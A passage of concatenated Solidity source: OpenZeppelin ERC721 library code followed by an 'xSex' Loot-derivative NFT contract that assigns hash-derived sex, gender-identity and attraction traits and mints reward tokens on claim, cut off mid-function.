from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IMintableERC20 is IERC20 { function mint(address account, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./utils/IMintableERC20.sol"; import "./utils/Base64.sol"; contract xSex is ERC721Enumerable, ReentrancyGuard, Ownable { uint256 constant public REWARDS_PER_CLAIM = 10*10**18; IMintableERC20 private sceneToken; IERC721 private loot; IERC721 private pLoot; IERC721 private xLoot; uint256 public lootClaimedCount; mapping(address => uint8) looterClaimedCount; uint256 public pLootClaimedCount; mapping(address => uint8) pLooterClaimedCount; uint256 public xLootClaimedCount; mapping(address => uint8) xLooterClaimedCount; uint256 private _tokenId; constructor( address _sceneToken, address _loot, address _pLoot, address _xLoot ) ERC721("xSex by xScene.io for adventurers", "XSEX") Ownable() { sceneToken = IMintableERC20(_sceneToken); loot = IERC721(_loot); pLoot = IERC721(_pLoot); xLoot = IERC721(_xLoot); } function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function getAnatomicalSex(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("Anatomical Sex", Strings.toString(tokenId)))); uint256 greatness = rand % 1000; if (greatness < 600) { return "Male"; } if (greatness > 599 && greatness < 999) { return "Female"; } return "Intersex"; } function getGenderIdentity(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("Gender Identity", Strings.toString(tokenId)))); uint256 greatness = rand % 100; if (greatness < 58) { return "Male"; } if (greatness > 57 && greatness < 96) { return "Female"; } if (greatness > 95 && greatness < 97) { return "Agender"; } return "Bigender"; } function getAttraction(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("Attraction", Strings.toString(tokenId)))); uint256 greatness = rand % 100; if (greatness < 38) { return "Male"; } if (greatness > 37 && greatness < 96) { return "Female"; } if (greatness > 95 && greatness < 97) { return "Agender"; } return "Bigender"; } function getX(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for nonexistent token"); uint256 rand = random(string(abi.encodePacked("X", Strings.toString(tokenId)))); uint256 greatness = rand % 1000; if (greatness < 1) { return "Two-spirit"; } if (greatness > 0 && greatness < 5) { return "Transsexual"; } return ""; } function tokenURI(uint256 tokenId) override public view returns (string memory) { require(_exists(tokenId), "URI query for nonexistent token"); string[9] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">Anatomical Sex: '; parts[1] = getAnatomicalSex(tokenId); parts[2] = '</text><text x="10" y="40" class="base">Gender Identity: '; parts[3] = getGenderIdentity(tokenId); parts[4] = '</text><text x="10" y="60" class="base">Attraction: '; parts[5] = getAttraction(tokenId); parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = getX(tokenId); parts[8] = '</text></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "xSex #', toString(tokenId), '", "description": "Don\'t feel like a boy or girl? Come to join xSex. Your experience of gender is unique to you. No wrong answers here and we hope you enjoy your metaverse identity in this sexy world.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function looterClaim() public nonReentrant { require(_tokenId < 10020, "Token ID invalid"); require(lootClaimedCount < 8020, "Loot card claim completed"); require(loot.balanceOf(_msgSender()) > 0, "Not Loot owner"); require(looterClaimedCount[_msgSender()] < 10, "Exceeded max claim times"); looterClaimedCount[_msgSender()] = looterClaimedCount[_msgSender()] + 1; lootClaimedCount++; _safeMint(_msgSender(), _tokenId); _tokenId++; sceneToken.mint(owner(), REWARDS_PER_CLAIM); sceneToken.mint(_msgSender(), REWARDS_PER_CLAIM); } function pLooterClaim() public nonReentrant { require(_tokenId < 10020, "Token ID invalid"); require(pLootClaimedCount < 1000, "pLoot card claim completed"); require(pLoot.balanceOf(_msgSender()) > 0, "Not pLoot owner"); require(pLooterClaimedCount[_msgSender()] < 3, "Exceeded max claim times"); pLooterClaimedCount[_msgSender()] = pLooterClaimedCount[_msgSender()] + 1; pLootClaimedCount++; _safeMint(_msgSender(), _tokenId); _tokenId++; sceneToken.mint(owner(), REWARDS_PER_CLAIM); sceneToken.mint(_msgSender(), REWARDS_PER_CLAIM); } function xLooterClaim() public nonReentrant { require(_tokenId < 10020, "Token ID invalid"); require(xLootClaimedCount < 1000, "xLoot card claim completed"); require(xLoot.balanceOf(_msgSender()) > 0, "Not xLoot owner"); require(xLooterClaimedCount[_msgSender()] < 3, "Exceeded max claim times"); xLooterClaimedCount[_msgSender()] = xLooterClaimedCount[_msgSender()] + 1; xLootClaimedCount++; _safeMint(_msgSender(), _tokenId); _tokenId++; sceneToken.mint(owner(), REWARDS_PER_CLAIM); sceneToken.mint(_msgSender(), REWARDS_PER_CLAIM); } function ownerBatchClaim(uint256 startTokenID, uint256 count) public nonReentrant onlyOwner { require( startTokenID > 10019 && startTokenID + count < 10221, "Token ID invalid" ); for (uint256 i = 0; i < count; i++) { 